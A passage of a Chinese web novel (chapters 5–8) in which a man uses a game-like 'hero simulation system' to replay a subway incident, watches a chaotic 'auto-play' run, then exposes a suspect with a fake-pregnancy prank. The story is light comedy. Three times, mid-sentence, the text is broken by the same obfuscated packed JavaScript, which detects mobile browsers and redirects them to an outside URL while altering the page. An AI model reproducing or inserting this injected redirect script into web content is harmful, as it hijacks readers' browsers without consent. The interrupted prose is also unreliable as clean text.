系统:【不客气,应该的。】 江闻舟:“我在骂你你听不懂吗?!” 系统:【卧槽,用户彻底怒了。】 · 第十六周目。 江闻舟将自己的心态摆得更正了一些。 他不再将自己视作可以以一己之力挽天倾的大英雄,也不再将自己当作点个举报就能置身事外的普通市民。 在可以做得更多的情况下,他或许也真的可以……做得更多。 比如说,帮助群星联盟锁定犯人,逼迫犯人进行注册,从而进入官方视野下,受到官方的监管。 一旦官方介入,假如这犯人日后还犯下什么罪,那就完全是群星联盟监管不力,跟他没有半点关系了! 理清思绪后,江闻舟也走到了关键车厢。 他站在角落,脸上的阴影自动脱落,掉落在地,而后又在江闻舟的操控下,无声无息地爬到了06号车厢顶部,在没有任何人察觉的情况下,注视着06号车厢内所有乘客的动向。 而这也是江闻舟异能力【虚影】,在除了“化妆”外的另一个妙用:监控。 它是江闻舟的第三只眼睛,也是最不容易被察觉到的眼睛。 如果不是它不能离江闻舟太远,侦察的有效范围也极其有限,想来江闻舟当年就算成不了强攻型的英雄,也能当个探查型英雄吧。 在关键车厢一号放置了眼睛后,江闻舟自己则坐在了关键车厢二号,也就是05号车厢。 接着,他便一心二用,观察起了这两个车厢的乘客。 5. 第5章 新功能 所谓的一心二用,对绝大多人来说,其实并不存在。 有些人以为自己能一心二用,但其实不过是在两个任务之间快速切换,或者只是注意力不集中,一会儿专注这个,一会儿专注那个。 后者,也就是俗称的ADHD,即注意缺陷障碍。 这种“快速切换注意力”,跟真正的一心二用完全没有关系。 即使是像江闻舟这样觉醒了异能力的人,为了开发【虚影】这个能力,他也持续锻炼了好几年,才勉强能做到同时观察两个地方。 至于更进一步的——比如说同时思考,甚至像两个人一样游刃有余地做两件不同的事,那是根本不可能的。 但,奇怪的是,此时此刻,当江闻舟找了个位置坐下,拿出手机,假装成沉迷短视频的上班族社畜后,他突然惊讶地发现,自己似乎……真的能够一心二用了! 他清楚地知道手机上正在播放的短剧有多离谱。 如果有必要,他甚至能立即打开评论区,有理有据地发一篇五百字长评,将自己看到的漏洞一一喷过去。 而与此同时,江闻舟也能将隔壁06号车厢内发生的一切,尽收眼底。 他看到,有苦逼的上班族在早上六点的地铁上,就不得不打开笔记本电脑,一边检查工作邮箱,一边十指飞快地敲动键盘,回复邮件,嘴里还痛骂着上司乃无耻老贼。 他还看到,有嚣张的非主流正穿着破洞裤和兜帽卫衣,顶着一头惹眼的红发招摇而过,所过之地人人避退——因为他那睥睨众生的眼神,像是随时会开口说出“♀妳在我眼中是壹滴涙,我従來不哭,因為我怕丢了妳”这样的台词。 ……总之,江闻舟心情有点复杂。 想来要不是他的【虚影】正黏在车厢顶上,恐怕江闻舟也是对这位小兄弟主动让路的一员吧……咦? 等等! 江闻舟猛地惊醒,随即一阵惊喜袭来: 看,不是错觉! 他真的在同时进行不同的思考! 就像是两个同步运行的进程,互相之间没有延迟,没有干扰。 ——他竟真的在以两个“人”的大脑、用两个“人”的方式在思考! 江闻舟压下喜悦,迅速冷静下来,脑袋一转,找到了答案:莫非,这就是“冷静+10,记忆+10”的效果? 这么立竿见影的吗? 他忍不住在心里为之前吐槽“英雄之心”的行为道了个歉。 但鉴于系统是个人工智障,这份道歉放在心里就行了。 大概是因为两个“人”的大脑就是比一个“人”的更好用,很快,江闻舟又想到了另一个问题。 他带上蓝牙耳机,装作打电话的样子,低声向系统问道:“喂,你应该还有更多功能吧?” 系统立即回应道:【是的,尊敬的用户,我们英雄养成系统除了给用户提供场景模拟,还提供场景回放、慢放、暂定、跳过、扫荡、托管等功能……】 “等等等等……”江闻舟连忙叫了暂停,“前面的几个还好说……” 场景回放、慢放、暂停,这些功能还算正常。 可“跳过”和“扫荡”是什么东西?“托管”就更离谱了吧? 这不都是游戏术语吗?! 系统解释道:【‘跳过’功能,是指当用户认为本周目的模拟已陷入僵局、不想继续时,可以选择直接跳过本周目,直接返回登录界面。】 江闻舟:“……” 有这功能不早说? 那他之前十多个周目里的缺胳膊断腿算什么?算他能吃苦? 江闻舟心中来气,但忍着没发作,因为他知道,哪怕质问这个人工智障,得到的答案大概也是“因为用户没有问”。 系统继续道:【而‘扫荡’功能,是在用户开启“英雄点数”后才会解锁的模块。它可以辅助用户进行快速模拟,根据您大脑的承受能力,一次性接收从三周到三十周不等的模拟数据。】 “什么叫‘一次接收模拟数据’?” 【就是将指定周目的模拟过程和结果,一次性输入您的脑中。】 江闻舟:“……” 原来如此,就是一次性获得多个周目的经验和成果,省去前期重复收集信息的时间。 难怪叫“扫荡”。 不过,这个功能对大脑的负荷肯定很大,估计需要配合“英雄之心”的进阶能力才能使用。 想到这里,江闻舟突然一愣。 紧接着,他立刻向系统确认这个猜测,并且也真的得到了系统肯定的答复。 【没错,使用英雄点数,当然需要英雄之心的辅助。】 江闻舟自动翻译:没有英雄之心挂载的新脑子,哪怕你拿到了币,也找不到投币口。 江闻舟舒畅地叹了口气:欸,果然新脑子就是好使啊! 如果每升级一次“英雄之心”,就会往他身上挂个新脑子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600299|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那这“英雄之心”还真是个不错的能力。 江闻舟接着问道:“那‘托管’呢?这又是什么意思?” 系统兢兢业业解释道:【‘托管’的意思是,当此项功能选用后,用户可以将自己在模拟器内的身体使用权,暂时转移给天道。】 “天道?!” 江闻舟惊呆了。 这玩意儿,是现代都市异能题材里该出现的玩意儿吗? 系统说:【是的,我们英雄模拟系统,是在本世界天道处登记注册过的正规养成系统,用户的所有模拟行为,都将在天道的注视下进行。】 江闻舟:“……” 好消息:他也成了“上头有人”的人了! 坏消息:这个“人”没法用。 江闻舟脑中再次闪过灵光:“等会……别告诉我,你迟到的那十年,就光在天道面前排队登记去了?” 【系统无法理解用户的问题。】 江闻舟深吸一口气:“行……你继续说。” 于是系统继续说道:【当用户选择由天道‘托管’时,天道会根据用户当前的功德点数,判断用户可用的气运等级,模拟用户气运最佳时可能会做出的行动与选择,并在本模拟器的辅助下共同推演出相应的未来。】 “功德点数?气运等级?” 江闻舟疑问的话音刚落,两行浅浅的字浮现在他眼前。 【当前功德点数:3】 【当前气运等级:1】 江闻舟:“……” 江闻舟发现自己今天沉默的次数格外多。 但,新的玩法就在眼前! 这谁能忍得住不去试试? 江闻舟很快就兴致勃勃地问道:“现在就能托管吗?” 系统弹出选项: 【请用户选择: 【A、对本周目场景模拟进行‘托管’;】 【B、跳过当前模拟,进入下一周目,并进行‘托管’。】 【请注意,‘托管’功能冷却时间为5个地球日,请合理安排使用时间。】 冷却时间按现实时间算? 也就是说,这次的危机中,他只能让天道来帮他“托管”一次? 那…… 他到底是应该从当前这个关键车厢开始,让天道帮他“代打”一下? 还是重新开始一次模拟,看看天道的“实力”? 没有犹豫太久,江闻舟很快做出决定—— 6. 第6章 善战者 “选B。” 跳过当前模拟,进入下一周目,并进行‘托管’模式! 如果是放在从前,江闻舟会毫不犹豫选择A:拿到凶手的身份,回到现实举报他! 江闻舟相信,在这样的精准打击下,肯定不会再出现上周目的岔子了。 这就是现代人最高效省时的做法——“抄答案”。 但现在,在拥有了“二脑之力”后,江闻舟的想法变了:答案固然重要,但生成答案的“算法”,才是真正的无价之宝。 是,他江闻舟就是个手残,哪怕看了大佬怎么速通游戏,他也只会吱哇乱叫地喊“大佬牛逼”,完全没办法复刻大佬的操作。 可是,操作是别人的,智慧与经验,却是属于自己的。 他江闻舟,哪怕不能复刻操作,难道还不能复刻思路吗? 为何他不将这次难得的“托管”和“代打”,当成一堂最高规格的教学局来对待呢? 这世上,除了他江闻舟,谁还能请到天道大佬来给他当老师?! 理清楚了这份利弊权衡后,江闻舟恭恭敬敬地选了B—— 请大佬上身! 于是,模拟,再次开始。 · 第十七周目。 江闻舟再次出现在了熟悉的地铁上,耳畔传来熟悉的新闻报道。 但不同于前十六周目的置身其中。 这一次,江闻舟是以一个绝对的第三者视角出现的。 “这样一来,就能更清楚地看到‘江闻舟’的操作了。” 想到这里,江闻舟立即将目光定格在前方的“自己”身上,不肯放过对方的每一个细微举动。 当让江闻舟迷茫的是,视线尽头的“自己”竟然一点动作都没有,只跟满车厢的社畜一样,一劲儿地低头刷手机。 主观能动性比江闻舟本人还要低! “这……” 江闻舟顿了顿,又顿了顿。 “——这一定是有原因的!” 江闻舟这样说服自己:大佬的操作,自己这样的凡人看不懂也是正常……总之大佬这么做一定是有理由的! 江闻舟继续看了下去。 一分钟,两分钟,三分钟……十三分钟! 整整十三分钟,这位大佬都在刷短视频! 大佬看得是津津有味,江闻舟看着只觉崩溃。 哥,大哥,您就这么喜欢刷短视频吗?人间的八卦就这么吸引你吗? 您是不是忘了您是过来帮他代打的?你怎么就—— 正在江闻舟忍不住想要冲到“自己”面前,指责代打大佬玩忽职守,玩弄凡人心情的时候。 蓦地,地铁不知怎的,突然一个急刹。 虽然只是瞬间,地铁就继续向前,但这一瞬间的摇晃和惯性,依然令所有人都发出了惊叫: “哇啊!等等等等……” “我的手机!” “小心点,别踩别踩!” “麻烦抬下脚,谢谢,谢谢……” 这一瞬间,车厢内众人的手机乱飞。 有些人手机被砸了,有些人被手机砸了。直把一群赶早八的社畜们心疼得嗷嗷乱叫。 而在这些人中,“江闻舟”的手机飞得尤其远,竟径直飞到了隔壁车厢! 这可把“江闻舟”看得脸都绿了。 “不好意思,借过,借过,这位大哥,借过,这位美女,借过……” 赔了一圈笑脸,总算从这个沙丁鱼罐头里挤到了另一个沙丁鱼罐头中。 而还没等“江闻舟”松口气,捡起地上的手机。 突然—— 吱嘎! 又是一个急刹。 “江闻舟”的手机滚得更远些了。 而至于正弯腰捡手机的“江闻舟”自己,更是一个趔趄,在惯性作用下变成滚地葫芦之前,慌张地往自己身边用力一抓。 撕拉一声。 也不知道是哪个倒霉鬼的裤子这么薄,被“江闻舟”一扯就变成了碎片。 然后—— “噗通”一声。 有某个不方便出现在公共场合的玩具,就这样从这个倒霉鬼的西装裤里掉了出来,落在地方,发出“嗡嗡”的声音。 这一刻,不论远的近的,凡是看到了这一幕、听到了这一声的乘客,目光都不由得在这个玩具上凝固。 车厢内,众人的沉默震耳欲聋。 就像是时间都在此刻暂停了。 所有人都不知道自己这一刻到底该看哪里,说什么,只觉得自己大脑的cpu都□□烧了。 而作为这一切的罪魁祸首,“江闻舟”则在此刻默默闭上了嘴巴,默默把自己缩小了点,又缩小了点。 最后,手脚并用,偷感极重地爬走了。 “手机,手机,我的手机……” ——甚至他还没忘记自己的手机! 一旁,江闻舟本舟也是看得目瞪口呆。 他凑到“江闻舟”面前,对着这张熟悉的脸看了看又看,怎么都不敢相信这就是“大佬代打”的效果。 说这是他本人操作他都信……等等? 这一瞬间,江闻舟突然想到了系统对“托管”功能的解释:天道会根据用户当前的功德点数,判断用户可用的气运等级,模拟用户气运最佳时可能会做出的行动与选择…… 所以,天道大佬不仅下界来给他代打,而且还在模拟他的性格与风格? 可……他江闻舟不是这个风格啊! 这是污蔑! 他江闻舟也是要脸的,怎么可能趴在地铁上爬来爬去? 哪怕他不小心拽出了别人的玩具……算了就这样吧,往事不必再提,人生已多风雨。 正想着,另一头,“江闻舟”也已经偷偷摸摸地从呆若木鸡的02号车厢,爬到了满地乱滚的01号车厢。 可能是因为这节车厢相对空旷。 当地铁连续两个急刹车后,这节车厢的人也摔得更狠,至今仍趴在地上哎哟叫唤。 这无疑给“江闻舟”找手机的行为造成极大阻碍。 于是他使劲儿伸出手,在地上一堆横陈的肉|体中摸啊摸,摸啊—— 吱嘎! 第三个急刹车。 “江闻舟”猝不及防,身形一倾,脑袋duang一下好像撞到了什么人。 于是下一秒,怒吼声响起: “格老子的!刚刚那只咸猪手摸我?男人你都摸,钩子就这么痒啊?!” “江闻舟”吓了一跳,还以为是自己刚真的不小心摸到了什么人。 可下一秒,“江闻舟”身前一个声音响起: “骂骂咧咧的干什么呢?谁想要摸你啊?我就是刚刚不知道被谁撞了一下,所以才不小心推了你……” “你那是‘推’了一下吗?你明明就是在摸,真是恶心死老子了。你个老不死的,以为你年纪大就可以随随便便在街上乱摸男人了?你信不信我揍你个满脸开花?!” “胡说八道!我今年才三十出头,哪里老了?而且我都说了是不小心推的!” “刚好推我胸口上?” “那不是不小心的吗?” “你推一下是不小心,又捏又揉也是不小心?你当老子是死的?!” “你!谁捏你了?你怎么能这么不讲理?” “到底谁不讲理啊?” “好、好、好……你一定要这样是吧?你既然咬定是我骚扰你,那你就去报警!报警让警察来评评理,看看到底是谁不讲理!” “你以为我不敢报是不是?” “你去报!你现在就给我报!” “用得着你说?我现在就报警!” “你报啊!你报啊!” 推搡间,两个男人也不知道是谁先动的手,竟就这样打了起来。 混乱中,也不知道是谁踢了“江闻舟”的手机一脚,令那只好不容易从人群中现身的手机,哧溜一下又滑回了上一节车厢。 “江闻舟”目瞪口呆。 “江闻舟”默默退场。 01号车厢已经不能再待下去了,各种意义上的。 然而,当“江闻舟”退到02号车厢后,他愕然发现,02号车厢竟然也不能待了,因为这里也有人在大打出手! “……你个王八蛋,狗男人!老娘只以为你出轨了,没想到你竟然玩得这么花!” “沫沫,沫沫你听我说,这都是误会!” “误会!你爷爷的,裤子都脱了玩具都掉老娘眼皮底下了,你跟我说这是误会?!” “那个、那个……” “而你个脏男人都搞成这样了,刚刚还敢打电话找老娘复合?怎么?就这么想让老娘当你们play的一环?好啊,好啊,你既然想玩,老娘黑带一段,今天就陪你们这对狗男女好!好!玩!” “哇啊啊啊啊!” 一阵鬼哭狼嚎、惊声尖叫中,“江闻舟”的手机从01号车厢哧溜一下过来了,又哧溜一下被踢远了。 “江闻舟”无语凝噎,只能保持着稳定的四脚着地的姿势,默默从02号车厢又爬回了03号车厢。 也就是江闻舟登上地铁时进入的初始车厢。 而至于在“江闻舟”前进的这段路里,他不小心扯掉了多少人的裤子、撞翻了多少人的手机、害得人误发了多少信息、误点了多少广告、误开了多少次桃宝……这些路上的小小风雨,一时不必再提。 反正已有人开始汗流浃背了。 总之,最后,当成功回到03号车厢的那一刻,无论是江闻舟还是“江闻舟”,都不由得松了口气,想:都回到了这节车厢了,应该不会再出之前的岔子了吧? ——错! 大错特错! 当“江闻舟”追着手机回到03号车厢,即将拿到手机时,0 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600300|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 2号车厢一阵骚动。 听声音,似乎是01号车厢的两个男人你推我我推你,一路打到了02号车厢,为本就乱成了一锅粥的02号车厢火上浇油! 而这样热闹的、声音越来越大越来越激烈的02号车厢,自然也吸引了无数人的视线。 不但03号车厢的人向这边聚集了过来,就连04、05号车厢,都注意到了这边的动静,好奇向这边靠拢。 其中,一个长相敦厚的男人走在最前头。他拿着手机,似乎在跟什么人打电话,但他一边打电话的同时,一边还不忘向02号车厢这边探头探脑地看热闹。 于是,这位心不在焉的男人,理所当然地没有看到蹲着捡手机的“江闻舟”,顺理成章地被障碍物绊倒,然后又在慌乱中非常凑巧地踩中“江闻舟”的手机,哧溜一下把“江闻舟”手机踢得更远的同时,自己也哐当摔在地上,手里的手机也远远飞出。 “欸?欸——我手机!我手机!!” 这个面向憨厚的男人惊叫了起来,显得格外慌乱,似乎这手机对他来说是什么极重要的物品,人还摔懵着呢,手就已经胡乱挥舞着想要捞手机了。 然而这样的动作只会将手机越拍越远—— 瞧,那手机不就在半空中飞出去了么。 甚至飞得比“江闻舟”的手机还要远! 这一刻,在两个同病相怜、痛失手机的可怜人的注视下,那手机在半空中滴溜溜飞了出去,最后“铛”一下砸在一个格外结实的脑壳上后,咵一声碎了。 戴墨镜的年轻人像是吓到了,拉下墨镜,茫然眨了眨眼,又眨了眨眼,伸手从自己黑色微翘的头发上捡出手机碎片,不确定道:“我的头……有这么硬吗?” ——竟然是太阳风! 他竟然也来看热闹了? 一旁的江闻舟看着“江闻舟”这一路卷起的混乱风暴,目瞪口呆,一时间竟分不出当前场景上演的,到底是地铁大逃杀,还是死神来了。 但,当太阳风也出现在这里的瞬间,江闻舟蓦地一个激灵:等等……难道这一切的混乱,都是为了与太阳风的相遇做铺垫? 是为了以一个绝对无辜、无知、以及无害市民形象出现在太阳风面前? 为了让时候群星联盟的人哪怕反复盘查,甚至叫上规则系中的预言者来,也找不出他的半点嫌疑? 这固然很好,可……接下来呢? 接下来,又该怎么做? “江闻舟”没有动作。 有动作的是那个手机碎了的憨厚男人。 只见,那面相憨厚的男人惊叫一声,急急向太阳风冲去。 而就在江闻舟以为这个男人是不是想要让太阳风赔偿时,那男人抓住太阳风的手,焦急道:“坏了!小兄弟,我刚刚在打一个很重要的电话,如果那边听到我突然失联的话……麻烦你借我用一下手机,行不?我只要打完这个电话就行!马上就还你!!” 太阳风到底是个年轻人。 他虽然是一个身份对大众保密的注册英雄,手机里有诸多秘密,甚至连手机本身可能都是秘密。 但一来,他是一个十八岁的年轻人,二来,他上一秒还用脑袋把别人的手机砸碎了……怎么碎的别管,总之他脑袋好好的,别人的手机碎了。 因此,这会儿的太阳风便也再说不出什么拒绝的话来,在中年男人又一次的焦急催促下,竟真的老老实实拿出了自己的手机,交到对方手里。 “你打吧,不过你要小心,我这个手机——” 太阳风的话没说完。 吱嘎! 第四次急刹车来了! 中年男人手里的手机再次飞出,在太阳风从茫然、到呆滞、到震惊想要挽回,但就是怎么都抓不住的惊呆的眼神下,它飞了出去! 然后,就像是一只不可思议的篮球,它用它坚硬过分的身躯、自由不羁的飞翔,在04号车厢里尽情舞动,跳跃,弹弹弹弹弹—— 砰!哐! 砰!哐! 砰!哐! 砰!哐! 砰!哐! 随着五声人脑壳与车厢顶铁皮的联动脆响后。 五人倒头栽倒。 这一刻,看着这不可思议的一幕,无论是太阳风、中年男,还是一旁的江闻舟,都不由自主地被震在原地,呆若木鸡。 而更让江闻舟感到茫然而不可思议的是,这一瞬间,这一局的模拟也随之结束了。 淡淡的文字从江闻舟眼前浮出: 【托管模式已结束。】 【本次英雄模拟评级:B】 【没有人知道你做过什么,因为没有任何一场风暴曾降临大地,以衬托你斩风挽狂之勇武。但,“没有任何风暴”,正是你真正的勇武之处。】 【善战者之胜也,无智名,无勇功。】 【请选择——】 【回到现实/重新开始模拟】 7. 第7章 操作 重新回到系统的起始界面,江闻舟僵立原地,脑袋里一遍又一遍地回放上一局的经过,不肯放过每一个细节、每一帧画面。 但,没有用。 江闻舟哪怕想破脑袋,也想不到自己可从天道托管局里学到的东西、可复刻的操作。 光是那四次时间掐得精妙绝伦的急刹车,就足以让人叹为观止了。 更别说最后太阳风手机飞出后的“砰哐”五连击……这种近乎因果律的操作,怎么看怎么都像是《死神来了》吧? 鉴于最后的结果是好的,它或许可以改叫《超级幸运星》——可不管是《死神来了》还是《超级幸运星》,这种牵扯到了因果律的东西,是他一介凡人能够复刻的吗?! 这一瞬间,江闻舟的心凉得透透的。 什么学习啊观摩啊思路啊,都飞到了九霄云外。 “不,冷静点……” 沮丧的心态刚一升起,江闻舟就立即将它按下,强迫自己转换思路:“往好处想……虽然我没办法复刻天道的操作……但至少我知道了罪魁祸首啊!” 没错,虽然操作是不可复刻的……但至少,天道的这番操作,让他知道了这场地铁大屠杀真正的关键人物啊! 最初,江闻舟以为这场大屠杀是两个傻缺异能者不顾场合互殴;之后,江闻舟才知道,这场恶性事件中,原来卷入了三个异能力者,一个是群星联盟的太阳风,一个是未注册的风系英雄,最后一个更是摸不清对方好坏和来意,甚至连是否真的存在都存疑。 江闻舟本来以为这就是全部了。 可没想到,天道一番操作竟然直接锁定了除太阳风以外的足足五人! 一场大事件,竟冒出了五个浑水摸鱼、乘乱搅事的……这谁能想得到啊? 甚至这五个家伙都不在同一车厢! 江闻舟被加强过的记忆,让他清楚记下了那五个家伙的脸,也迅速在自己的记忆中找出了他们各自所在的车厢: 王天,看不出职业,似乎是个无业游民,03号车厢; 周建,装扮起来似乎只是个普通大学生,04号车厢; 关前,一个背着网球拍,似乎大清早就准备去上网球课的中学生,05号车厢。 以上信息,都是江闻舟在整合了前十几个周目的记忆后得出来的。 因为这三个人曾有几次作为与江闻舟一样的受害者,被一块儿抬上过担架! 当时的江闻舟,又如何能够想到,这三个和他躺在一块儿的“无辜者”,竟与这场灾难息息相关? 而至于最后的两人,更是远超出了江闻舟的意料。 比如说,其中那个叫张茂的,正是江闻舟在十六周目时注意到的、在早上六点的地铁上就不得不打开笔记本电脑开始工作的苦逼上班族,06号车厢; 又比如说那个同在06号车厢,不知道姓名,却被江闻舟投过注目礼的红发非主流! 总而言之——这谁能想到呢? 如果没有天道相助,帮他直接锁头,想必他江闻舟得在模拟器中来回探查十多个周目后,才能弄清这里头的弯弯绕绕吧? 思考进行到这里,江闻舟总算气顺了。 因此,当重开十八周目时,江闻舟的思路极为明确: 首先,王天、周建、关前这三人,曾在过去的周目里作为“受害者”出现过,既然如此,就可以排除他们是风系异能者的可能。 可天道既然锁定了他们,自然是有天道的道理。 所以,对于这三人,江闻舟要做的是探明他们的底细,看看这三人到底在私底下搞了什么勾当,才让天道觉得他们三值得跟幕后凶手一个待遇。 其次,江闻舟要从张茂和非主流两人中,辨清他们到底谁是闹事的风系异能者。 从直觉来说,江闻舟认为非主流的可能性最大。 无他,真成了一名强大的风系异能者后,谁还会在早上六点的地铁上赶工作啊? 这里头的逻辑,简直就像是立京圈佛子人设的霸总真的去剃度出家了一样离谱。 谁爱信谁信反正江闻舟第一反应是不信。 但话又说回来——万一呢? 万一世上就是有真心想要剃度出家,不爱红颜爱和尚的京圈佛子呢? 皇帝,你儿子是gay啊……不,打住。 江闻舟迅速回神,给自己立下目标:一周目内,搞清楚王天三人的底细,最好,顺带也查清张茂和非主流谁才是风系异能者。 而当搞清楚了这些后,想来就是他真正功成身退的时候了吧? 想到这里,江闻舟坚定做出选择: 【重新开始模拟】 · 第十八次模拟,开始。 · 有了明确的目标,并且也明确知道模拟器内发生的一切都会随着新周目的开启而消失后,江闻舟的心态变得格外平稳。 而心态一放稳,脑子就清醒了。 脑子一清醒,这鬼点子也多了。 因此,只是短短三秒,江闻舟就想到了一个绝妙的办法! 是的,江闻舟相信,这一定是个相当有效的方法。 而也是在冒出这个“办法”的一瞬间,江闻舟突然理解了天道的手段——一种不涉及因果律的,另一种“手段”。 或许……这才是天道真正想要“教给”他的东西? 6:13′ ——吱嘎! 江闻舟等待已久的第一个急刹车来了! 在无数人的惊叫和东倒西歪中,江闻舟的手机飞了出去——不是向02号车厢的方向,而是向04号车厢的方向! 但,理所当然的。 在缺了那么一点运气后,江闻舟的手机并没有准确地落在某人身上,而是落在了人群中,消失不见了。 不过,没关系。 这已经达成了江闻舟的目的。 “不好意思,让一让……这位美女这位靓仔,麻烦让让,我捡下手机……” 在这个谁都不可能生疑的理由下,江闻舟很快就成功挤到了目标1号——也就是与他身处同一车厢的王天面前。 王天是个身材精瘦的家伙。他三十左右,上半身穿着带拉链的卫衣,下半身穿着沙滩裤和洞洞鞋,看不出是什么职业,但感觉应该是无业游民,又或者说是街溜子。 因此,当他翘着二郎腿大剌剌地往座位上一靠时,哪怕他一个瘦子愣是占了两人的座,周围的人也是敢怒不敢言,纷纷扭过头当没看到。 没办法,早上六点的地铁,大多是精气神都跌入谷底的弱气社畜,连一个能站出来为大家主持公道的大妈都没有,甚至连一个敢躺下讹人的大爷也没有。 整个03号车厢里,就王天气焰最高。 所以,当江闻舟唯唯诺诺地挤到王天面前时,王天甚至连眼皮都没有夹他一下。 ——直到江闻舟因捡手机而站立不稳,一把按在了王天的手腕上。 在这一瞬间,江闻舟眼底闪过异光,一道普通人一不注意就会忽略掉的阴影,也就是江闻舟的异能力【虚影】,顺着王天的手臂无声攀上,并在王天勃然色变、对着江闻舟破口大骂的瞬间,顺着喉管钻进了对方的胃里。 “你会不会看路啊!这么点路都会摔倒?你个死扑街!” 王天眉头倒竖,口中骂骂咧咧着就举起巴掌,作势要来打江闻舟。 可下一秒—— “你信不信我——yue!你!你信不信我这就把你——呕!yue!yue!” 王天脸色大变,口中发出了响亮的呕吐声,只感到自己的胃部翻江倒海。 不过,此刻的王天并没有太把这件事放在心上。 毕竟吃坏肚子这件事,概率虽小,也不是没有。 甚至王天已经在回想自己今早的早饭了。 可没想,下一秒,江闻舟发出了尖叫鸡的声音,“啊”地一声松开了王天的手,手指颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600301|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巍巍指着王天: “你、你——你竟然怀孕了?!” 这一瞬间,03号车厢内所有人的目光,都唰一下集中在江闻舟和王天两人身上,眼神火热。 王天目瞪口呆,脑子里一片空白,直到他下意识又“yue”了一声、察觉到周围人瞬间变得不可置信又意味深长的目光后,才终于反应过来。 他暴跳如雷,大声咒骂:“你他娘的说什么呢?!谁怀孕了?谁怀孕了!你眼瞎了是不是?老子是个男人!老子只是吃坏了肚子!!” 江闻舟用比王天更大的声音吼了回去:“我当然知道你是男人,但我是沙城中医世家的第十八代传人,我不可能出错的——你那就是喜脉啊! “你别不承认!你现在已经怀孕四个月了,肚子已经能看出样子了,你有本事就把你卫衣脱下来,让大家看看!群众的眼睛是雪亮的,你看大家觉得是我说谎了还是你一个男人真的怀孕了!” 大概也是被气昏了头。 王天听着江闻舟的如此污蔑,脸色涨红,想也不想,直接拉开了自己的卫衣拉链,又扯开了里头的背心:“看就看,看就看!难道我怕你吗?! “你个死扑街睁大眼睛看看,你看到底谁怀——” 王天的声音戛然而止。 因为当扯开卫衣又扯开背心后,他目瞪口呆地发现,自己昨天晚上还平坦的小腹,此刻竟然真的……鼓起来了?! 不是鼓起来了一个小肚子,而是真的鼓起来了一个浑圆的弧度! 他,王天,一个男人,一个从不乱搞主要是母胎单身的男人,竟然真的、真的……怀孕了? 这一刻,整个03号车厢内一片死寂。 只有掀开衣服露出“孕肚”的王天,和所有用“敬仰”目光看着他的围观群众。 明亮的车灯从顶部投下,在王天浅浅的“孕肚”上投出浅浅的阴影。 这样的一幕,如何不能称之为“神圣”呢? 但,下一秒—— 吱嘎! 第二次急刹车来了。 被“我怀孕了”这件事惊到头晕目眩脚下发软的王天,在这次急刹车中毫无抵抗能力,倒头倒下。 “小心孕妇、夫!” 江闻舟大叫一声,冲上前去,看似拉人,实则重推。 于是,“哐当”一声。 在江闻舟的黑手下,王天一脑袋撞在金属栏杆上,白眼一翻,声也不吭地哧溜下地,晕得非常干脆。 江闻舟大惊失色,噗通跪在地上,抱着怀中楚楚可怜的昏迷孕夫,向四周大喊道:“糟了!病人家属在不在车上?或者有没有认识这位病人的人?这位孕夫昏迷了,情况十分危险,必须要赶快把他送去医院!” 此时此刻,四周一片寂静,只余地铁经过轨道的轻微震响,和江闻舟焦急的呼救声。 无论是02号车厢还是04号车厢,那些本该对这两个急刹车发出抱怨声音的乘客,此刻全都沉默不语,只围着江闻舟和王天,用一种诡异的、说不清道不明的目光,意味深长地看着王天的“孕肚”。 想来这会儿的王天若还醒着,也一定会被气晕过去吧。 很快的,江闻舟喊到了第三遍。 这时,人群外,一个弱弱的声音终于响起:“那个……这个人怎么了?我可能认识他……” 嚯!又来新剧情了? 围观群众眼睛发亮,纷纷闪开,为这位新登场的演员让开了一条路。 江闻舟抬头看去,脸上一喜,像是看到救兵般冲上前,一把握住周建的手。 “太好了!你认识这位病人就好!他现在情况很危险,撞到了头,主要是他还怀孕了,所以麻烦你,请尽快联系他的家人!” “啊?什么?!” 这一瞬间,周建瞳孔地震! 他低头,目光落在王天大剌剌撩开的、微微鼓起的小腹上,倒吸一口凉气。 “他、他、他——怀孕了?!” 8. 第8章 胡诌 此时此刻,周建脸上那混合着震惊、茫然、不可置信和不知所措的精彩表情,放在大荧幕上足以给他赢来一个最佳男配角。 至于为什么不是最佳男主角……那不是因为最佳男主角正在地上柔弱地躺着么! 周建身体晃了晃。 但在他脚下发软,即将如王天一样倒头倒下时,江闻舟及时扶住了他,神色亲切:“怎么了这位先生,您知道躺在地上的病人是什么情况吗?我刚刚好像没有找到他的手机,您知道该怎么联系上他的家人吗?” 话说着,江闻舟下意识向四周扫了一圈。 但他并没有在围观群众中看到背着网球包的关前。也不知道是因为05号车厢太远了,让这个中学生一时间没意识到这边发生的事,还是因为别的什么。 